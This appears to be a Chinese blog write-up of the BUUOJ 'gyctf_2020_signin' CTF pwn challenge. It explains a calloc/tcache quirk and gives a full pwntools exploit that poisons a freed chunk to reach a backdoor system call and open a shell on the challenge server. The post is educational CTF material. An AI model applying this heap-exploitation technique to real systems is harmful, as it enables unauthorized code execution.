zoukankan      html  css  js  c++  java
  • i春秋公益赛之signin

    题目链接:https://buuoj.cn/challenges#gyctf_2020_signin

    查看程序保护

     只开了canary和NX保护,在IDA查看反编译出来的为代码时发现程序给了一个后门

     很明显,我们只要往ptr中写入一些数据使其不为空就能getshell。这题的巧妙之处在于在调用system前调用了calloc函数。

    calloc有一下几个特性:

    • 不会分配tcache中的chunk
    • 在分配fastbin中的chunk时若还有其他大小相同的fastbin_chunk则把它们全部放入tcache中

    利用这两个特性我们就可以向ptr中写入数据,最终的exp如下:

    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    #p = process('./pwn')
    p = remote('node3.buuoj.cn', 27231)
    
    def Add(index):
        p.sendlineafter('your choice?', '1')
        p.sendlineafter('idx?
    ', str(index))
    
    def Edit(index, content):
        p.sendlineafter('your choice?', '2')
        p.sendlineafter('idx?
    ', str(index))
        p.send(content)
    
    def Delete(index):
        p.sendlineafter('your choice?', '3')
        p.sendlineafter('idx?
    ', str(index))
    
    Add(0)
    Add(1)
    Add(2)
    Add(3)
    Add(4)
    Add(5)
    Add(6)
    Add(7)
    Delete(0)
    Delete(1)
    Delete(2)
    Delete(3)
    Delete(4)
    Delete(5)
    Delete(6)
    Delete(7)
    Add(8)
    payload = p64(0x4040c0-0x10).ljust(0x50, 'x00')
    #gdb.attach(p)
    Edit(7, payload)
    p.sendlineafter('your choice?', '6')
    p.interactive()
    
  • 相关阅读:
    自解代理模式
    顺时针打印二维方阵
    Dom4j官网解释实例
    Eclipse快捷键大全
    MyEclipse快捷键大全
    SQL语句的增删改查(详细)
    MySQL用户权限详细汇总
    从表中随机返回n条记录
    证件照(1寸2寸)拍摄处理知识汇总
    java 实现文件内容的加密和解密
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12426918.html
Copyright © 2011-2022 走看看